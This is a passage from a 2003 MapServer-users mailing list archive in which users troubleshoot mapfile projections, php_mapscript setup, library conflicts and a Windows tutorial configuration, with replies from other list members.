"Natural Resources" > METADATA > LYRNAME "Streams" > END > PROJECTION > "proj=tmerc" > "lat_0=0" > "lon_0=-90" > "k=0.9996" > "x_0=520000" > "y_0=-4480000" > "ellps=GRS80" > "datum=NAD83" > "units=m" > "no_defs" > END > DATA streams_testWTM > TYPE LINE > CLASS > COLOR 255 0 0 > END > END > > I know that this projection definition for the > custom layer is right because > I've used it in other mapfiles, albeit sans the > datum transformation. > > When I fire up the mapfile, the layers just doesn't > draw. When I zoom out, > it doesn't show up anywhere near my other layers (I > never see it at all). > > Any ideas what could be wrong? > > Chip Hankley - GIS Coordinator > Graef, Anhalt, Schloemer & Associates, Inc. > 5126 West Terrace Drive > Madison, Wisconsin 53718-8949 > PHONE 608.245.1969 > FAX 608.242.0787 > MOBILE 414.412.8349 > chip.hankley at gasai.com > http://www.gasai.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From morissette at dmsolutions.ca Fri Jan 31 14:51:29 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 17:51:29 -0500 Subject: [Mapserver-users] JpGraph + Mapserver 3.6.3 + php_mapscript References: <3E3AAD12.B61C64C5@pramcentral.com> Message-ID: <3E3AFDF1.3E76D186@dmsolutions.ca> Prashanth Ram wrote: > > Hi folks.. > Has anyone tried to get JpGraph (1.x) and Mapserver + php_mapscript > (3.6.3) working together on the same box. When I turn the php_mapscript > extension on, JpGraph does not work, and when I turn it off > php_mapscript does not work! > The problem is quite likely related to different versions of the GD library being used by php_mapscript and by the php_gd module used by JpGraph. The solution is to make sure both modules are built using the same GD and freetype if you can. See bug 190 for more details: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=190 -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Fri Jan 31 14:54:02 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 31 Jan 2003 17:54:02 -0500 Subject: [Mapserver-users] php as a module References: <200301312132.QAA05319@www21.ureach.com> Message-ID: <3E3AFE8A.14EAA90D@dmsolutions.ca> Alexander Shostko wrote: > > When I am trying to run gmap demo it tells me that I have to > use php as cgi, not as a module (currently it is included as a > module). > > Can I use it as a module if I go to higher versons of APAche or > php.4.3.+ > No, there is currently no way to use php_mapscript with PHP as an Apache module with any version of PHP 4... unless you go back to PHP 3 and MapScript 3.5 which is the last version that worked fine as a module. For more details: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScriptCGI -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From cblack at CalAcademy.Org Fri Jan 31 15:29:36 2003 From: cblack at CalAcademy.Org (Chris Black) Date: Fri, 31 Jan 2003 15:29:36 -0800 Subject: [Mapserver-users] can't get tutorial working on windows Message-ID: <3E3B06E0.5080100@calacademy.org> Folks, I've downloaded the tutorial, and I'm trying to get section 3, example 2 working on windows and I just can't get it going. When I go to the url ( http://localhost/Scripts/mapserv.exe?map=c%3A%2Finetpub%2Fwwwroot%2Fmapserverapps%2Ftutorial35%2Fs3%2Fs3ex2.map&imgext=-97.500000+39.736083+-82.122902+51.269315&zoom=1 ), I get a page with the layout of the page I find at http://terrasip.gis.umn.edu/cgi-bin/mapserv35?map=/data/projects/tutorial35/s3/s3ex2.map . But where the map should be, it just says "Submit Query", and the legend and reference image are blank. I modified the tutorial files to have what I think are the correct paths and urls, but clearly I've done something wrong. I'll include here my versions of s3ex2.map and s3ex2.html as well as a directory listing of . I hope someone can find where I've botched the paths, because it all looks ok to me. Thank you for any help. -- Chris s3ex2.html --------------- cut here ----------------------- MapServer 3.5 Tutorial

Section 3
Example 2 – Zoom Controls

[map file listing] [template file listing]
Map Controls

Set your zoom option:

Legend

Back to Section 3 | Proceed to Example 3

-------------- cut here ------------------------- s3ex2.map ---------------- cut here -------------------------- NAME S3EX1 EXTENT -97.5 41.619778 -82.122902 49.38562 SIZE 400 300 SHAPEPATH "c:/inetpub/wwwroot/mapserverapps/tutorial35/data" FONTSET "c:/inetpub/wwwroot/mapserverapps/fonts/fonts.list" SYMBOLSET "c:/inetpub/wwwroot/mapserverapps/tutorial35/symbols/symbols35.sym" WEB TEMPLATE s3ex2.html IMAGEPATH "c:/inetpub/wwwroot/mapserverapps/data/tmp/" IMAGEURL "http://localhost/mapserverapps/data/tmp/" END LEGEND STATUS ON LABEL TYPE TRUETYPE FONT arial COLOR 0 0 0 SIZE 12 ANTIALIAS TRUE END END REFERENCE STATUS ON IMAGE "../images/ref1.gif" SIZE 150 113 EXTENT -97.5 41.619778 -82.122902 49.38562 COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END # LAYER DEFINITIONS --------------------------------------------- LAYER # Shaded Relief Raster NAME "relief" DATA "raster/shdrlfi020g_ugl.tif" STATUS DEFAULT TYPE RASTER OFFSITE 0 END LAYER # States NAME "states" DATA states_ugl STATUS OFF TYPE POLYGON # CLASSITEM "CLASS" CLASS # States class NAME "States" EXPRESSION ('[CLASS]' eq 'land') # EXPRESSION 'land' COLOR 240 240 240 OUTLINECOLOR 0 0 0 END # end of States class object END # end of layer object LAYER # water features layer NAME "water features" DATA hydrop_ugl STATUS DEFAULT TYPE POLYGON CLASSITEM "FEATURE" CLASS NAME "Bay/Estuarine" EXPRESSION /Bay*/ COLOR 164 164 255 END CLASS NAME "Lakes/Reservoir" EXPRESSION ('[FEATURE]' eq 'Lake' or '[FEATURE]' = 'Reservoir') COLOR 64 64 255 END CLASS NAME "Marsh/Swamp" EXPRESSION /Sw*/ COLOR 210 235 255 END CLASS NAME "Major Rivers" EXPRESSION 'Stream' COLOR 128 128 220 END CLASS NAME "Canal" EXPRESSION 'Canal' COLOR 200 128 255 END END # end of water features layer #LAYER # Roads # NAME "roads" # DATA roads_ugl # TYPE LINE # STATUS DEFAULT # # CLASSITEM "CLASS" # CLASS # NAME "Interstate Highways" # EXPRESSION 'Interstate' # COLOR 128 0 0 # SYMBOL 'circle' # SIZE 2 # END # CLASS # NAME "US Highways" # EXPRESSION 'US' # COLOR 255 128 0 # SYMBOL 'line1' # SIZE 1 # END #END LAYER # States NAME "states" DATA states_ugl STATUS DEFAULT TYPE LINE # CLASSITEM "CLASS" CLASS # States class NAME "States" EXPRESSION ('[CLASS]' eq 'land') # EXPRESSION 'land' COLOR 0 0 0 END # end of States class object END # end of layer object LAYER # States NAME "states" DATA states_ugl STATUS DEFAULT TYPE ANNOTATION LABELITEM "STATE" CLASSITEM "CLASS" CLASS # States class EXPRESSION 'land' COLOR -1 -1 -1 LABEL COLOR 132 31 31 SHADOWCOLOR 218 218 218 SHADOWSIZE 2 2 TYPE TRUETYPE FONT arial-bold SIZE 14 ANTIALIAS TRUE POSITION CL PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END # end of label END # end of States class object END # end of layer object END # end of map file ---------------- cut here --------------------------- Directory listing -- this looks like a Unix directory listing because it's the output of the cygwin command "ls - R" in the directory c:\inetpub\wwwroot This is a Windows system, though. -------------- cut here ------------------------ .: total 47 drwxr-xr-x 6 Administ None 4096 Jan 31 15:25 MapServerApps drwxrwxrwx 2 Administ None 0 Jan 7 13:32 _private drwxr-xr-x 2 Administ None 4096 Jan 10 10:16 _vti_cnf -rwxr-xr-x 1 Administ None 1759 Jan 7 13:32 _vti_inf.html drwxrwxrwt 2 Administ None 0 Jan 7 13:32 _vti_log drwxrwxrwt 2 Administ None 4096 Jan 10 10:20 _vti_pvt drwxr-xr-x 2 Administ None 0 Jan 7 13:32 _vti_script drwxrwxrwt 2 Administ None 0 Jan 7 13:32 _vti_txt -rwxr-xr-x 1 Administ None 451 Jan 7 13:49 default.htm -rw-rw-rw- 1 Administ None 0 Jan 31 15:28 flist.out -rwxr-xr-x 1 Administ None 79 Feb 17 1998 global.asa -rwxr-xr-x 1 Administ None 342 Jun 4 1999 help.gif -rwxr-xr-x 1 Administ None 1736 Jun 4 1999 iisstart.asp drwxr-xr-x 2 Administ None 0 Jan 7 13:32 images -rwxr-xr-x 1 Administ None 7240 Sep 22 1999 localstart.asp -rwxr-xr-x 1 Administ None 1684 Jan 24 11:08 mapserver_documentation.htm -rwxr-xr-x 1 Administ None 356 Jun 4 1999 mmc.gif -rwxr-xr-x 1 Administ None 2806 Jun 4 1999 pagerror.gif -rwxr-xr-x 1 Administ None 2497 Jan 7 13:32 postinfo.html -rwxr-xr-x 1 Administ None 1046 Jun 4 1999 print.gif drwxrwxrwx 2 Administ None 0 Jan 31 15:27 tmp -rwxr-xr-x 1 Administ None 1577 Jun 4 1999 warning.gif -rwxr-xr-x 1 Administ None 1182 Jun 4 1999 web.gif -rwxr-xr-x 1 Administ None 4670 Jun 4 1999 win2000.gif ./MapServerApps: total 8 drwxr-xr-x 5 Administ None 0 Jan 31 14:55 data drwxr-xr-x 2 Administ None 4096 Jan 31 14:34 fonts drwxr-xr-x 2 Administ None 0 Jan 27 16:22 images drwxr-xr-x 12 Administ None 4096 Jan 31 14:21 tutorial35 ./MapServerApps/data: total 0 drwxr-xr-x 2 Administ None 0 Jan 27 16:22 raster drwxr-xr-x 2 Administ None 0 Jan 31 14:55 tmp drwxr-xr-x 2 Administ None 0 Jan 27 16:22 vector ./MapServerApps/data/raster: total 0 ./MapServerApps/data/tmp: total 0 ./MapServerApps/data/vector: total 0 ./MapServerApps/fonts: total 547 -rwxr-xr-x 1 Administ None 273020 Jul 26 2000 ARIAL.TTF -rwxr-xr-x 1 Administ None 284560 Jul 26 2000 ARIALBD.TTF -rwxr-xr-x 1 Administ None 41 Jan 31 14:21 fonts.list -rwxr-xr-x 1 Administ None 71 Jan 31 14:15 fonts.list~ ./MapServerApps/images: total 0 ./MapServerApps/tutorial35: total 69 -rwxr-xr-x 1 Administ None 1130 Jul 6 2002 LICENSE.txt drwxr-xr-x 3 Administ None 16384 Jan 31 13:32 data -rwxr-xr-x 1 Administ None 1069 Apr 26 2002 download.html -rwxr-xr-x 1 Administ None 75 Jan 31 14:14 fonts.list~ drwxr-xr-x 2 Administ None 0 Jan 31 13:32 images -rwxr-xr-x 1 Administ None 8713 Jul 6 2002 index.html drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 java -rwxr-xr-x 1 Administ None 2574 Mar 8 2002 markup.css -rwxr-xr-x 1 Administ None 860 Apr 14 2002 ms35.css drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s1 drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s2 drwxr-xr-x 2 Administ None 8192 Jan 31 15:01 s3 drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s4 drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s5 drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s6 -rwxr-xr-x 1 Administ None 1628 Jul 6 2002 sections.html drwxr-xr-x 2 Administ None 0 Jan 31 13:32 symbols -rwxr-xr-x 1 Administ None 118 Apr 11 2002 tutorial35_tree.txt ./MapServerApps/tutorial35/data: total 16978 -rwxr-xr-x 1 Administ None 43103 Mar 7 2002 co2000_ugl.dbf -rwxr-xr-x 1 Administ None 10180 Mar 7 2002 co2000_ugl.sbn -rwxr-xr-x 1 Administ None 900 Mar 7 2002 co2000_ugl.sbx -rwxr-xr-x 1 Administ None 667172 Mar 7 2002 co2000_ugl.shp -rwxr-xr-x 1 Administ None 3708 Mar 7 2002 co2000_ugl.shx -rwxr-xr-x 1 Administ None 25673 Feb 6 2002 co2000p020.txt -rwxr-xr-x 1 Administ None 210750 Mar 7 2002 fedlan_ugl.dbf -rwxr-xr-x 1 Administ None 227456 Mar 7 2002 fedlan_ugl.shp -rwxr-xr-x 1 Administ None 2500 Mar 7 2002 fedlan_ugl.shx -rwxr-xr-x 1 Administ None 41117 Jan 15 2002 fedlanp020.txt -rwxr-xr-x 1 Administ None 33429 Sep 27 2001 hydrogm020.txt -rwxr-xr-x 1 Administ None 1183928 Mar 7 2002 hydrol_ugl.dbf -rwxr-xr-x 1 Administ None 2332764 Mar 7 2002 hydrol_ugl.shp -rwxr-xr-x 1 Administ None 39884 Mar 7 2002 hydrol_ugl.shx -rwxr-xr-x 1 Administ None 506006 Mar 7 2002 hydrop_ugl.dbf -rwxr-xr-x 1 Administ None 2290160 Mar 7 2002 hydrop_ugl.shp -rwxr-xr-x 1 Administ None 17244 Mar 7 2002 hydrop_ugl.shx -rwxr-xr-x 1 Administ None 3619390 Mar 7 2002 plss00_ugl.dbf -rwxr-xr-x 1 Administ None 1370568 Mar 7 2002 plss00_ugl.shp -rwxr-xr-x 1 Administ None 52172 Mar 7 2002 plss00_ugl.shx -rwxr-xr-x 1 Administ None 30501 Aug 27 2001 plss00p020.txt drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 raster -rwxr-xr-x 1 Administ None 1049116 Mar 14 2002 roads.dbf -rwxr-xr-x 1 Administ None 40964 Mar 14 2002 roads.sbn -rwxr-xr-x 1 Administ None 3908 Mar 14 2002 roads.sbx -rwxr-xr-x 1 Administ None 766496 Mar 14 2002 roads.shp -rwxr-xr-x 1 Administ None 29332 Mar 14 2002 roads.shx -rwxr-xr-x 1 Administ None 1049116 Apr 23 2002 roads_ugl.dbf -rwxr-xr-x 1 Administ None 766496 Mar 7 2002 roads_ugl.shp -rwxr-xr-x 1 Administ None 29332 Mar 7 2002 roads_ugl.shx -rwxr-xr-x 1 Administ None 31134 Sep 25 2001 roadtrl020.txt -rwxr-xr-x 1 Administ None 13078 Mar 7 2002 states_ugl.dbf -rwxr-xr-x 1 Administ None 520236 Mar 7 2002 states_ugl.shp -rwxr-xr-x 1 Administ None 1732 Mar 7 2002 states_ugl.shx -rwxr-xr-x 1 Administ None 19317 Sep 6 2001 statesp020.txt -rwxr-xr-x 1 Administ None 111 Mar 7 2002 uglbound.dbf -rwxr-xr-x 1 Administ None 81868 Mar 7 2002 uglbound.shp -rwxr-xr-x 1 Administ None 108 Mar 7 2002 uglbound.shx -rwxr-xr-x 1 Administ None 58761 Mar 7 2002 urban_ugl.dbf -rwxr-xr-x 1 Administ None 168412 Mar 7 2002 urban_ugl.shp -rwxr-xr-x 1 Administ None 4172 Mar 7 2002 urban_ugl.shx -rwxr-xr-x 1 Administ None 17679 Oct 29 2001 urbanap020.txt ./MapServerApps/tutorial35/data/raster: total 15829 -rwxr-xr-x 1 Administ None 6529545 Apr 24 2002 mod13a12000257evi.tif -rwxr-xr-x 1 Administ None 6433369 Apr 23 2002 mod13a12000257evi_l.tif -rwxr-xr-x 1 Administ None 2118176 Apr 24 2002 shdrlfi020g_ugl.tif -rwxr-xr-x 1 Administ None 94 Mar 13 2002 shdrlfi020g_ugl.wld -rwxr-xr-x 1 Administ None 1123518 Apr 14 2002 shdrlfi020l_ugl.tif -rwxr-xr-x 1 Administ None 87 Apr 14 2002 shdrlfi020l_ugl.wld ./MapServerApps/tutorial35/images: total 6 -rwxr-xr-x 1 Administ None 2820 Mar 14 2002 ref1.gif -rwxr-xr-x 1 Administ None 2607 May 8 2002 ugl_ref_geo.gif ./MapServerApps/tutorial35/java: total 29 -rwxr-xr-x 1 Administ None 2691 Dec 22 2000 README -rwxr-xr-x 1 Administ None 1243 Feb 13 2001 evalThread.class -rwxr-xr-x 1 Administ None 6600 Feb 13 2001 mapplet.class -rwxr-xr-x 1 Administ None 7918 Feb 2 2001 mapplet.java -rwxr-xr-x 1 Administ None 8471 Jul 6 2001 mapplet.zip ./MapServerApps/tutorial35/s1: total 23 -rwxr-xr-x 1 Administ None 1098 Apr 26 2002 index.html -rwxr-xr-x 1 Administ None 1891 Apr 30 2002 s1ex1.html -rwxr-xr-x 1 Administ None 709 Apr 30 2002 s1ex1.map -rwxr-xr-x 1 Administ None 1814 Mar 14 2002 s1ex1_code.html -rwxr-xr-x 1 Administ None 1211 Apr 30 2002 s1ex1_map.html -rwxr-xr-x 1 Administ None 1239 Apr 28 2002 s1ex2.html -rwxr-xr-x 1 Administ None 1644 Apr 30 2002 s1ex2.map -rwxr-xr-x 1 Administ None 1774 Mar 14 2002 s1ex2_code.html -rwxr-xr-x 1 Administ None 1445 Mar 14 2002 s1ex2_map.html -rwxr-xr-x 1 Administ None 970 Apr 28 2002 s1ex3.html -rwxr-xr-x 1 Administ None 738 Apr 30 2002 s1ex3.map -rwxr-xr-x 1 Administ None 1906 Mar 14 2002 s1ex3_code.html -rwxr-xr-x 1 Administ None 1170 Mar 14 2002 s1ex3_map.html ./MapServerApps/tutorial35/s2: total 37 -rwxr-xr-x 1 Administ None 1377 May 2 2002 index.html -rwxr-xr-x 1 Administ None 1221 Apr 28 2002 s2ex1.html -rwxr-xr-x 1 Administ None 712 Mar 14 2002 s2ex1.map -rwxr-xr-x 1 Administ None 933 Mar 14 2002 s2ex1_code.html -rwxr-xr-x 1 Administ None 1420 Mar 14 2002 s2ex1_map.html -rwxr-xr-x 1 Administ None 974 Apr 28 2002 s2ex2.html -rwxr-xr-x 1 Administ None 1117 Mar 14 2002 s2ex2.map -rwxr-xr-x 1 Administ None 1119 Mar 14 2002 s2ex2_code.html -rwxr-xr-x 1 Administ None 1597 Apr 28 2002 s2ex2_map.html -rwxr-xr-x 1 Administ None 2199 Apr 28 2002 s2ex3.html -rwxr-xr-x 1 Administ None 1542 Apr 26 2002 s2ex3.map -rwxr-xr-x 1 Administ None 2022 Apr 28 2002 s2ex3_map.html -rwxr-xr-x 1 Administ None 1057 Apr 28 2002 s2ex4.html -rwxr-xr-x 1 Administ None 2009 Apr 26 2002 s2ex4.map -rwxr-xr-x 1 Administ None 2489 Apr 28 2002 s2ex4_map.html -rwxr-xr-x 1 Administ None 1781 Apr 28 2002 s2ex5.html -rwxr-xr-x 1 Administ None 2122 Apr 26 2002 s2ex5.map -rwxr-xr-x 1 Administ None 2602 May 2 2002 s2ex5_map.html ./MapServerApps/tutorial35/s3: total 61 -rwxr-xr-x 1 Administ None 12 Nov 22 2000 county_footer.html -rwxr-xr-x 1 Administ None 135 May 2 2002 county_header.html -rwxr-xr-x 1 Administ None 43 May 6 2002 county_query.html -rwxr-xr-x 1 Administ None 12 Nov 22 2000 fed_footer.html -rwxr-xr-x 1 Administ None 193 May 2 2002 fed_header.html -rwxr-xr-x 1 Administ None 114 May 2 2002 fed_query.html -rwxr-xr-x 1 Administ None 451 Jul 5 2002 footer.html -rwxr-xr-x 1 Administ None 154 May 2 2002 header.html -rwxr-xr-x 1 Administ None 1590 Jan 31 13:44 index.html -rwxr-xr-x 1 Administ None 1536 Jan 31 13:42 index.html~ -rwxr-xr-x 1 Administ None 4690 May 2 2002 s3ex1.html -rwxr-xr-x 1 Administ None 1958 Jan 31 14:34 s3ex2.html -rwxr-xr-x 1 Administ None 1943 Jan 31 14:31 s3ex2.html~ -rwxr-xr-x 1 Administ None 3120 Jan 31 15:01 s3ex2.map -rwxr-xr-x 1 Administ None 3115 Jan 31 15:00 s3ex2.map~ -rwxr-xr-x 1 Administ None 3482 May 2 2002 s3ex2_map.html -rwxr-xr-x 1 Administ None 2803 Jul 5 2002 s3ex3.html -rwxr-xr-x 1 Administ None 2918 Apr 26 2002 s3ex3.map -rwxr-xr-x 1 Administ None 3398 May 2 2002 s3ex3_map.html -rwxr-xr-x 1 Administ None 3185 Jul 5 2002 s3ex4.html -rwxr-xr-x 1 Administ None 3571 Jul 5 2002 s3ex4.map -rwxr-xr-x 1 Administ None 3398 May 2 2002 s3ex4_map.html -rwxr-xr-x 1 Administ None 12 Nov 22 2000 urban_footer.html -rwxr-xr-x 1 Administ None 136 May 2 2002 urban_header.html -rwxr-xr-x 1 Administ None 41 May 2 2002 urban_query.html -rwxr-xr-x 1 Administ None 12 Nov 22 2000 water_footer.html -rwxr-xr-x 1 Administ None 162 May 2 2002 water_header.html -rwxr-xr-x 1 Administ None 59 May 2 2002 water_query.html ./MapServerApps/tutorial35/s4: total 27 -rwxr-xr-x 1 Administ None 2670 Jul 5 2002 index.html -rwxr-xr-x 1 Administ None 2508 Jul 5 2002 s4ex1.html -rwxr-xr-x 1 Administ None 3754 Jul 5 2002 s4ex1.map -rwxr-xr-x 1 Administ None 4533 Jul 5 2002 s4ex1_map.html -rwxr-xr-x 1 Administ None 2499 Jul 5 2002 s4ex2.html -rwxr-xr-x 1 Administ None 3835 Jul 5 2002 s4ex2.map -rwxr-xr-x 1 Administ None 4509 Jul 5 2002 s4ex2_map.html ./MapServerApps/tutorial35/s5: total 27 -rwxr-xr-x 1 Administ None 2215 Jul 5 2002 index.html -rwxr-xr-x 1 Administ None 2941 Apr 24 2002 s5ex1.html -rwxr-xr-x 1 Administ None 4056 Jul 5 2002 s5ex1.map -rwxr-xr-x 1 Administ None 4535 Jul 5 2002 s5ex1_map.html -rwxr-xr-x 1 Administ None 3052 Jul 5 2002 s5ex3.html -rwxr-xr-x 1 Administ None 9009 Jul 6 2002 s5ex3.map ./MapServerApps/tutorial35/s6: total 32 -rwxr-xr-x 1 Administ None 12 Nov 22 2000 county_footer.html -rwxr-xr-x 1 Administ None 135 May 2 2002 county_header.html -rwxr-xr-x 1 Administ None 43 May 6 2002 county_query.html -rwxr-xr-x 1 Administ None 12 Nov 22 2000 fed_footer.html -rwxr-xr-x 1 Administ None 193 May 2 2002 fed_header.html -rwxr-xr-x 1 Administ None 114 May 2 2002 fed_query.html -rwxr-xr-x 1 Administ None 451 Jul 6 2002 footer.html -rwxr-xr-x 1 Administ None 154 May 2 2002 header.html -rwxr-xr-x 1 Administ None 2261 Jul 6 2002 index.html -rwxr-xr-x 1 Administ None 4039 Jul 6 2002 s6ex1.html -rwxr-xr-x 1 Administ None 10467 Jul 6 2002 s6ex1.map -rwxr-xr-x 1 Administ None 12 Nov 22 2000 urban_footer.html -rwxr-xr-x 1 Administ None 136 May 2 2002 urban_header.html -rwxr-xr-x 1 Administ None 41 May 2 2002 urban_query.html -rwxr-xr-x 1 Administ None 12 Nov 22 2000 water_footer.html -rwxr-xr-x 1 Administ None 162 May 2 2002 water_header.html -rwxr-xr-x 1 Administ None 59 May 2 2002 water_query.html ./MapServerApps/tutorial35/symbols: total 2 -rwxr-xr-x 1 Administ None 1166 Jan 9 2002 symbols35.sym ./_private: total 0 ./_vti_cnf: total 15 -rwxr-xr-x 1 Administ None 791 Jan 7 13:49 default.htm -rwxr-xr-x 1 Administ None 380 Jan 7 13:32 global.asa -rwxr-xr-x 1 Administ None 344 Jan 7 13:32 help.gif -rwxr-xr-x 1 Administ None 562 Jan 7 13:32 iisstart.asp -rwxr-xr-x 1 Administ None 1075 Jan 7 13:32 localstart.asp -rwxr-xr-x 1 Administ None 2080 Jan 10 11:07 mapserver_documentation.htm -rwxr-xr-x 1 Administ None 344 Jan 7 13:32 mmc.gif -rwxr-xr-x 1 Administ None 341 Jan 7 13:32 pagerror.gif -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 print.gif -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 warning.gif -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 web.gif -rwxr-xr-x 1 Administ None 347 Jan 7 13:32 win2000.gif ./_vti_log: total 0 ./_vti_pvt: total 18 -rwxrwxrwx 1 Administ None 113 Jan 7 13:32 access.cnf -rwxrwxrwx 1 Administ None 146 Jan 7 13:32 botinfs.cnf -rwxrwxrwx 1 Administ None 323 Jan 7 13:32 bots.cnf -rwxrwxrwx 1 Administ None 324 Jan 10 11:07 deptodoc.btr -rwxrwxrwx 1 Administ None 5616 Jan 10 11:07 doctodep.btr -rwxrw-rw- 1 Administ None 0 Jan 7 13:32 frontpg.lck -rwxrwxrwx 1 Administ None 1125 Jan 10 10:20 linkinfo.cnf -rwxrw-rw- 1 Administ None 1437 Jan 7 13:43 service.cnf -rwxrw-rw- 1 Administ None 0 Jan 10 11:07 service.lck -rwxrwxrwx 1 Administ None 3 Jan 7 13:32 services.cnf -rwxrwxrwx 1 Administ None 89 Jan 10 10:20 structure.cnf -rwxrwxrwx 1 Administ None 66 Jan 7 13:32 svcacl.cnf -rwxrw-rw- 1 Administ None 0 Jan 7 13:32 uniqperm.cnf -rwxrwxrwx 1 Administ None 25 Jan 7 13:32 writeto.cnf ./_vti_script: total 0 ./_vti_txt: total 0 ./images: total 0 ./tmp: total 0 ----------------------- cut here ----------------------- From shostko at ureach.com Fri Jan 31 20:28:13 2003 From: shostko at ureach.com (Alexander Shostko) Date: Fri, 31 Jan 2003 23:28:13 -0500 Subject: [Mapserver-users] gmap Message-ID: <200302010428.XAA21247@www20.ureach.com> Dear Mapserver Users I am using apache version 1.3.23 , php-4.3.0 and mapserevr 3.7 with mapscript 3.7 using php as CGI . php_mapscript.dll is loaded in php.ini as extesion. I am trying to get good examples of php-mapscript and running gmap as available demo. When I trying to run gmap (starting with gmap75.phml Fatal error: Call to undefined function: ms_getversion() in c:\apache1.3.23\apache\htdocs\gmap\htdocs\gmap75.php3 on line 51 What is the version of mapscript/php are good for gmap ? Or I have errors in the configuration ? Thanks Alexander Shostko From nacional at cbs.umn.edu Fri Jan 31 21:59:36 2003 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Fri, 31 Jan 2003 23:59:36 -0600 (CST) Subject: [Mapserver-users] can't get tutorial working on windows In-Reply-To: <3E3B06E0.5080100@calacademy.org> Message-ID: Chris, Your "IMAGEURL" is always relative to the web server's root. So, don't add "http://localhost" but rather specify the line like this: IMAGEURL "/mapserverapps/data/tmp/" I hope this helps. -Perry On Fri, 31 Jan 2003, Chris Black wrote: > Folks, > > I've downloaded the tutorial, and I'm trying to get section 3, example 2 > working on windows and I just can't get it going. When I go to the url ( > http://localhost/Scripts/mapserv.exe?map=c%3A%2Finetpub%2Fwwwroot%2Fmapserverapps%2Ftutorial35%2Fs3%2Fs3ex2.map&imgext=-97.500000+39.736083+-82.122902+51.269315&zoom=1 > ), > I get a page with the layout of the page I find at > http://terrasip.gis.umn.edu/cgi-bin/mapserv35?map=/data/projects/tutorial35/s3/s3ex2.map > . But where the map should be, it just says "Submit Query", and the > legend and reference image are blank. I modified the tutorial files to > have what I think are the correct paths and urls, but clearly I've done > something wrong. I'll include here my versions of s3ex2.map and > s3ex2.html as well as a directory listing of . I hope someone can find > where I've botched the paths, because it all looks ok to me. > > Thank you for any help. > > -- Chris > > s3ex2.html > --------------- cut here ----------------------- > > > > MapServer 3.5 Tutorial > href="/mapserverapps/tutorial35/ms35.css" /> > > > >

Section 3
> Example 2 – Zoom Controls

>

> >

> > > > > [map file > listing] > [template file > listing] > > > > >
> > > Map Controls >

> Set your zoom option:
> >

> Legend
>

> >

> >

Back to Section 3 | href="/Scripts/mapserv.exe?map=c:\inetpub\wwwroot\mapserverapps\tutorial35\s3\s3ex3.map&layer=water&layer=states&zoom=1&submit=Redraw">Proceed > > to Example 3 >

> > > > > > -------------- cut here ------------------------- > > s3ex2.map > ---------------- cut here -------------------------- > NAME S3EX1 > EXTENT -97.5 41.619778 -82.122902 49.38562 > SIZE 400 300 > SHAPEPATH "c:/inetpub/wwwroot/mapserverapps/tutorial35/data" > FONTSET "c:/inetpub/wwwroot/mapserverapps/fonts/fonts.list" > SYMBOLSET > "c:/inetpub/wwwroot/mapserverapps/tutorial35/symbols/symbols35.sym" > > WEB > TEMPLATE s3ex2.html > IMAGEPATH "c:/inetpub/wwwroot/mapserverapps/data/tmp/" > IMAGEURL "http://localhost/mapserverapps/data/tmp/" > END > > LEGEND > STATUS ON > LABEL > TYPE TRUETYPE > FONT arial > COLOR 0 0 0 > SIZE 12 > ANTIALIAS TRUE > END > END > > REFERENCE > STATUS ON > IMAGE "../images/ref1.gif" > SIZE 150 113 > EXTENT -97.5 41.619778 -82.122902 49.38562 > COLOR -1 -1 -1 > OUTLINECOLOR 255 0 0 > END > > > # LAYER DEFINITIONS --------------------------------------------- > LAYER # Shaded Relief Raster > NAME "relief" > DATA "raster/shdrlfi020g_ugl.tif" > STATUS DEFAULT > TYPE RASTER > OFFSITE 0 > END > > LAYER # States > NAME "states" > DATA states_ugl > STATUS OFF > TYPE POLYGON > > # CLASSITEM "CLASS" > CLASS # States class > NAME "States" > EXPRESSION ('[CLASS]' eq 'land') > # EXPRESSION 'land' > COLOR 240 240 240 > OUTLINECOLOR 0 0 0 > END # end of States class object > END # end of layer object > > LAYER # water features layer > NAME "water features" > DATA hydrop_ugl > STATUS DEFAULT > TYPE POLYGON > > CLASSITEM "FEATURE" > CLASS > NAME "Bay/Estuarine" > EXPRESSION /Bay*/ > COLOR 164 164 255 > END > CLASS > NAME "Lakes/Reservoir" > EXPRESSION ('[FEATURE]' eq 'Lake' or '[FEATURE]' = 'Reservoir') > COLOR 64 64 255 > END > CLASS > NAME "Marsh/Swamp" > EXPRESSION /Sw*/ > COLOR 210 235 255 > END > CLASS > NAME "Major Rivers" > EXPRESSION 'Stream' > COLOR 128 128 220 > END > CLASS > NAME "Canal" > EXPRESSION 'Canal' > COLOR 200 128 255 > END > END # end of water features layer > > #LAYER # Roads > # NAME "roads" > # DATA roads_ugl > # TYPE LINE > # STATUS DEFAULT > # > # CLASSITEM "CLASS" > # CLASS > # NAME "Interstate Highways" > # EXPRESSION 'Interstate' > # COLOR 128 0 0 > # SYMBOL 'circle' > # SIZE 2 > # END > # CLASS > # NAME "US Highways" > # EXPRESSION 'US' > # COLOR 255 128 0 > # SYMBOL 'line1' > # SIZE 1 > # END > #END > > LAYER # States > NAME "states" > DATA states_ugl > STATUS DEFAULT > TYPE LINE > > # CLASSITEM "CLASS" > CLASS # States class > NAME "States" > EXPRESSION ('[CLASS]' eq 